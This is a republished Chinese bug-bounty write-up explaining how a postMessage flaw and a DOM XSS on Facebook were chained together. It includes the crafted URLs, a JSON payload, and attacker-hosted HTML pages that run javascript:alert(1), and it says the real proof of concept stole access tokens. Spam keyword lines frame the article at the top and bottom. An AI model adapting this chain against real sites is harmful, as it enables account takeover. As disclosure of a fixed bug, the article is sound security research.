91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何使用postMessage利用Facebook中基于DOM的XSS漏洞

發布時間:2021-12-23 09:56:50 來源:億速云 閱讀:337 作者:柒染 欄目:網絡管理

如何使用postMessage利用Facebook中基于DOM的XSS漏洞,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

概述

我們發現的第一個漏洞將允許一名惡意攻擊者從facebook.com域名并通過postMessage來發送跨域消息。存在漏洞的終端節點將接收請求參數中用戶可控制的內容,并使用postMessage中的發送消息來構建一個數據對象,該對象將與postMessage一起發送到已打開的窗口。接下來,我們所發現的第二個漏洞跟第一個漏洞有關,攻擊者可以利用這個漏洞來根據Eventlistener接收到的表單提交數據來構造一個不安全的腳本。

從facebook.com源通過postMessage發送消息

存在漏洞的節點為https://www.facebook.com/payments/redirect.php,這個節點的響應信息可以由各種參數來控制。我們發現的其中一個有意思的參數為“type”,這個參數如果從平時的“i”改成了“rp”的話,它將會它將使用postMessage與打開該頁面的窗口通信(如果是“i”,那么它將使用window.parent.paymentsFlows.processIFrame方法)。

如何使用postMessage利用Facebook中基于DOM的XSS漏洞

需要注意的是,目標源需要設置為our.intern.facebook.com。現在,我們知道postMessage方法僅會提供給Facebook的員工使用,因為our.intern.facebook.com這個域名只有他們才擁有完整的訪問權,如果不是Facebook的員工,則會被重定向至www.facebook.com。

在這里,我試圖通過訪問另一個域中的同一個節點alpha.facebook.com來繞過這種限制。如果訪問的是our.alpha.facebook.com/payments/redirect.php,它將會返回到our.alpha.facebook.com,因為postMessage中的targetOrigin設置的就是這個地址。跟our.intern不同的是,our.alpha不會重定向至www.。這里要注意,our.alpha.facebook.com域名包含的內容跟www.facebook.com其實是一樣的。這樣,我們的消息就可以傳遞到打開的窗口了,因為targetOrigin條件已經滿足,并且會將消息發送到our.alpha.facebook.com。

現在,我們已經知道了我們要找的是包含了EventListeners的頁面,而它只接收消息源為accept facebook.com的消息。

XSS漏洞的發現和利用

Facebook Canvas應用程序托管在apps.facebook.com上,如果你訪問了這個域名所托管的應用程序,你將會發現Facebook會加載一個iframe中的URL,并向這個URL地址發送一個包含了類似“signed_request”參數的POST新消息。

通過跟蹤請求源,我發現這個頁面同樣加載了iframe中的https://www.facebook.com/platform/page_proxy/?version=X,然后用postMessage向其發送消息。

page_proxy這個頁面中包含下列代碼:

如何使用postMessage利用Facebook中基于DOM的XSS漏洞

上述這段代碼主要完成了兩件事情。首先,它會利用postMessage將帶有frameName的消息發送到任何源。其次,它將設置一個EventListener并等待接收消息。如果收到了一條滿足所有條件的消息,它將在根據消息中的數據設置其屬性之后提交一個form表單。

表單構造方法submitForm()有趣的地方就在于,這個表單中的action屬性會被直接設置為“a.data.params.appTabUrl”,這個地址是通過消息來接收的。URL中的“appTabUrl”字符串中的URL沒有檢查是否以http/https開頭,因此我們就可以使用JavaScript來實現利用XSS漏洞了。

接下來,我們需要再page_proxy腳本中構造一個包含了滿足所有條件的Payload對象,具體如下所示:

https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&ampparams[appTabUrl]=javascript:alert(1);&ampparams[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1
OBJ: {“type”:”rp”,”name”:”_self”,”params”:{“appTabUrl”:”javascript:alert(1);”,”signedRequest”:”SIGNED_X”},”platformAppControllerGetFrameParamsResponse”:”1″}

漏洞利用

目標用戶需要訪問攻擊者托管的惡意網站,該網站頁面中需要包含下列代碼:

<html>

<button class="button" onClick="window.open('https://attacker/page2.html', '_blank');document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';">

<span class="icon">Start Attack</span>

</button>

</html>

在這里,我們不打算直接重定向到page_proxy節點,因為我們需要設置一個延時來確保https://www.facebook.com/platform/page_proxy/的成功加載。

page2.html:

<html>

<script>

setTimeout(function(){ window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&ampparams[appTabUrl]=javascript:alert(1);&ampparams[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';} ,3000);

</script>

</html>

這里我設置了一個三秒的延遲,然后重定向到存在漏洞的頁面中,并執行alert(1),而我設置的PoC將會竊取用戶的訪問令牌,這個令牌將直接允許我們接管目標Facebook賬號。

漏洞修復

Faceboos目前已成功修復了該漏洞,他們直接將支付重定向(/payments/redirect.php)中的postMessage組件移除了,并在appTabUrl中添加了針對http/https的檢測。

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

民丰县| 哈巴河县| 始兴县| 湘潭县| 留坝县| 塔城市| 秀山| 东源县| 敦化市| 哈尔滨市| 南岸区| 阿坝| 闸北区| 永新县| 金塔县| 赞皇县| 永修县| 金湖县| 万安县| 永安市| 象州县| 垦利县| 瓦房店市| 福州市| 望江县| 化隆| 奈曼旗| 和龙市| 嫩江县| 隆林| 蓬安县| 福安市| 尚志市| 黄陵县| 厦门市| 花莲县| 即墨市| 湾仔区| 来凤县| 图木舒克市| 泰来县|